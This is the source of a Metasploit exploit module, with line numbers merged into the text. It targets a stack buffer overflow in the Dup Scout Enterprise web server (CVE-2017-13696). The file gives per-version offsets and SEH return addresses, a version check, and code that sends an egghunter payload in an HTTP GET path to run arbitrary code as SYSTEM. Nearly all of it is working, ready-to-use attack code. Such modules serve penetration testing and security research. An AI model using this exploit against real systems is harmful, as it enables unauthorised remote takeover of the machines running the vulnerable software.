Path: blob/master/modules/exploits/windows/http/dupscts_bof.rb
19567 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = GreatRanking78include Msf::Exploit::Remote::Seh9include Msf::Exploit::Remote::Egghunter10include Msf::Exploit::Remote::HttpClient11prepend Msf::Exploit::Remote::AutoCheck1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Dup Scout Enterprise GET Buffer Overflow',18'Description' => %q{19This module exploits a stack-based buffer overflow vulnerability20in the web interface of Dup Scout Enterprise versions <= 10.0.18,21caused by improper bounds checking of the request path in HTTP GET22requests sent to the built-in web server which can be leveraged23to execute arbitrary code in the context of NT AUTHORITY\SYSTEM.2425This module supports x86 versions of Dup Scout Enterprise and x8626Windows operating systems only and has been tested successfully on27Windows 7 SP1 (x86) and Windows XP SP0 (x86).28},29'License' => MSF_LICENSE,30'Author' => [31'vportal', # Vulnerability discovery and PoC32'Daniel Teixeira', # Metasploit module33'bcoles', # Automatic targetting and additional targets34],35'References' => [36['CVE', '2017-13696'],37['CWE', '121'],38['EDB', '42557'],39['EDB', '49217']40],41'DefaultOptions' => {42'EXITFUNC' => 'thread'43},44'Platform' => 'win',45'Arch' => ARCH_X86,46'Payload' => {47'BadChars' => "\x00\x09\x0a\x0d\x20\x26",48'Space' => 50049},50'Targets' => [51[ 'Automatic', { 'auto' => true } ],52[53'Dup Scout Enterprise v8.3.16 (x86)',54{55'Version' => '8.3.16',56'Offset' => 552,57# 0x10045543 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-58'Ret' => 0x1004554359}60],61[62'Dup Scout Enterprise v8.4.16 (x86)',63{64'Version' => '8.4.16',65'Offset' => 552,66# 0x10045c33 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-67'Ret' => 0x10045c3368}69],70[71'Dup Scout Enterprise v9.0.28 (x86)',72{73'Version' => '9.0.28',74'Offset' => 552,75# 0x1004d983 : pop ebx # pop ecx # ret 0x20 | {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-76'Ret' => 0x1004d98377}78],79[80'Dup Scout Enterprise v9.1.14 (x86)',81{82'Version' => '9.1.14',83'Offset' => 552,84# 0x10081b78 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-85'Ret' => 0x10081b7886}87],88[89'Dup Scout Enterprise v9.5.14 (x86)',90{91'Version' => '9.5.14',92'Offset' => 2488,93# POP # POP # RET [libspp.dll]94'Ret' => 0x10050ff395}96],97[98'Dup Scout Enterprise v9.9.14 (x86)',99{100'Version' => '9.9.14',101'Offset' => 2496,102# 0x10056c1d : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-103'Ret' => 0x10056c1d104}105],106[107'Dup Scout Enterprise v10.0.18 (x86)',108{109'Version' => '10.0.18',110'Offset' => 2496,111# 0x10056a16 : pop ebx # pop ecx # ret 0x20 | ascii {PAGE_EXECUTE_READ} [libspp.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0-112'Ret' => 0x10056a16113}114],115],116'Notes' => {117'Stability' => [ CRASH_SERVICE_DOWN ],118'SideEffects' => [ IOC_IN_LOGS ],119'Reliability' => [ REPEATABLE_SESSION ]120},121'Privileged' => true,122'DisclosureDate' => '2017-03-15',123'DefaultTarget' => 0124)125)126end127128def check129res = send_request_cgi({130'uri' => '/',131'method' => 'GET'132})133134unless res135return CheckCode::Unknown('Connection failed.')136end137138version = res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first139140unless version141return CheckCode::Safe('Target is not Dup Scout Enterprise.')142end143144unless target_for_version(version)145return CheckCode::Detected("No targets for Dup Scout Enterprise version #{version}.")146end147148CheckCode::Appears("Dup Scout Enterprise version #{version}.")149end150151def dup_version152res = send_request_cgi({153'uri' => '/',154'method' => 'GET'155})156157unless res158return fail_with(Failure::Unreachable, 'Could not determine Dup Scout Enterprise version. No reply.')159end160161res.body.scan(/>Dup Scout Enterprise v([\d.]+)</).flatten.first162end163164def target_for_version(version)165return unless version166167targets.select { |t| version == t['Version'] }.first168end169170def exploit171my_target = target172173if target.name == 'Automatic'174print_status('Selecting a target...')175my_target = target_for_version(dup_version)176unless my_target177fail_with(Failure::NoTarget, 'Unable to automatically detect a target')178end179end180181print_status("Using target: #{my_target.name}")182183eggoptions = {184checksum: true,185eggtag: rand_text_alpha(4, payload_badchars)186}187188hunter, egg = generate_egghunter(189payload.encoded,190payload_badchars,191eggoptions192)193194sploit = rand_text_alpha(my_target['Offset'], payload_badchars)195sploit << generate_seh_record(my_target.ret)196sploit << hunter197sploit << make_nops(10)198sploit << egg199sploit << rand_text_alpha(5500, payload_badchars)200201print_status("Sending payload (#{sploit.length} bytes) ...")202203send_request_cgi({204'method' => 'GET',205'uri' => sploit206})207end208end209210211